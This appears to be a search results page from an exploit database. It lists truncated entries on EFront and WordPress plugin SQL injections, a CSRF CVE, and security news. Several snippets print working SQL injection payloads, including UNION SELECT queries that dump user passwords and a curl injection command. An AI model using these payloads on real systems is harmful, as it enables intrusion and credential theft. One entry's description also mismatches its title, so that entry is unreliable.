8869 matches found
EFront 3.6.9 Community Edition - Multiple Vulnerabilities
EFront 3.6.9 Community Edition - Multiple Vulnerabilities Exploit Title: EFront UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users -- www/professor.php?ctg=messages&folder= UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users -- www/admin.php?ctg=messages&folder= UNION...
EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
Exploit for php platform in category web applications Exploit Title: EFront UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users -- www/professor.php?ctg=messages&folder= UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users -- www/admin.php?ctg=messages&folder= UNION ALL...
Exploit Pack - An open source security framework
Exploit Pack - An open source security framework Exploit Pack is an open source security framework developed by Juan Sacco. It combines the benefits of a Java GUI, Python as Engine and well-known exploits on the wild. It has an IDE to make the task of developing new exploits easier, instant searc...
Exploit Pack - An open source security framework
Exploit Pack - An open source security framework Exploit Pack is an open source security framework developed by Juan Sacco. It combines the benefits of a Java GUI, Python as Engine and well-known exploits on the wild. It has an IDE to make the task of developing new exploits easier, instant searc...
Derbycon 2011 Videos talks
Derbycon 2011 Videos Talks The idea behind DerbyCon was developed by Dave Kennedy ReL1K, Martin Bos PureHate, and Adrian Crenshaw Irongeek. Their motivation stemmed from a desire to see more of the old-style talks and events of the conventions of the past. DerbyCon was hosted by some specialized...
Linux - Means Freedom [The Hacker News Magazine] October 2011 Issue Released
Linux - Means Freedom The Hacker News Magazine October 2011 Issue Released Dear Readers, We here at The Hacker News were very humbled to be given the opportunity to celebrate 10 millions hits to the website. Wow! We are so very grateful for your support and as I told you last month, I don't think...
Secure Boot in Windows 8 Worries Researchers
Windows 8, like Windows 7 and Vista before it, is being touted as the most secure version of Windows ever. In past releases, many of the security improvements have come through exploit mitigations such as ASLR and DEP and better software security practices during development. In Windows 8, howeve...
Cross site request forgery (csrf)
JasperServer in JasperReports Server Community Project 3.7.0 and 3.7.1 uses a predictable flowExecutionKey parameter, which makes it easier for remote attackers to conduct cross-site request forgery CSRF attacks via a brute-force approach...
CVE-2011-1911
CVE-2011-1911 affects JasperReports Server Community Project (JasperServer) versions 3.7.0 and 3.7.1. The root cause is a predictable _flowExecutionKey parameter, enabling CSRF via brute-forcing across requests. Impact described includes the ability for an attacker, tricking an authenticated user...
#DEFCON Chennai September 2011 meet - Another Success !
DEFCON Chennai September 2011 meet - Another Success ! DEF-CON Chennai DC602028 Meet held on On 11th September 2011 From 2:30 PM to 7PM was a Great Success. List of Speakers 1 Abhinab 2 Viknesh 3 Ravi Kumar 4 Aditya Gupta 5 Rahul Tyagi 6 Sophan 7 Suman Some Awesome moments of Meet DefCon message ...
Intelligence and National Security Alliance (INSA) hacked
Intelligence and National Security Alliance INSA hacked On Wednesday, 48 hours after releasing a policy paper on cybersecurity, the top trade association for intelligence contractors got a first-hand lesson on the subject: they discovered that their website was hacked. Cryptome, a site affiliated...
Community Events <= 1.2.1 - SQL Injection
The Community Events WordPress plugin was affected by a SQL Injection security vulnerability. curl --data "id=-1 AND EXTRACTVALUE1, CONCATCHAR58,@@version,CHAR58-- " http://www.site.com/wp-content/plugins/community-events/tracker.php...
WordPress Community Events Plugin <= 1.2.1 - SQL Injection
Sermon Browser plugin is prone to an SQL injection. This vulnerability allows an attacker to modify data, alter queries to the application SQL database, compromise the access and application or exploit hidden vulnerabilities in the underlying database. Solution Update the plugin...
WordPress Plugin Community Events 1.2.1 - SQL Injection
Exploit Title: WordPress Community Events plugin getblogprefix . "ceevents where eventid = " . $eventid;...
WordPress Community Events 1.2.1 SQL Injection
Exploit Title: WordPress Community Events plugin getblogprefix . "ceevents where eventid = " . $eventid;...
WordPress Plugin Community Events 1.2.1 - SQL Injection
WordPress Plugin Community Events 1.2.1 - SQL Injection Exploit Title: WordPress Community Events plugin getblogprefix . "ceevents where eventid = " . $eventid;...
Behind the Scenes of The Crypto Project
When a small group of activists announced the debut of The Crypto Project earlier this year, for many, ahem, mature, security and privacy advocates it brought to mind memories of the original cypherpunk movement that began in the 1990s and that group’s seminal efforts to encourage the use of stro...
WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability
No description provided by source. Exploit Title: WordPress MM Forms Community plugin = 1.2.3 SQL Injection Vulnerability Date: 2011-08-26 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip Version: 1.2.3 test...
WordPress MM Forms Community 1.2.3 SQL Injection
Exploit Title: WordPress MM Forms Community plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- foreach $REQUEST as $key = $value $SQL="UPDATE wpcontactformsubmitdata SET value=".quoteString$value." WHERE fkformjoinerid='".$REQUEST'ID'."'...
WordPress MM Forms Community Plugin <= 1.2.3 - SQL Injection
MM Forms Community plugin is prone to an SQL injection. This vulnerability allows an attacker to modify data, alter queries to the application SQL database, compromise the access and application or exploit hidden vulnerabilities in the underlying database. Solution Upgrade the plugin...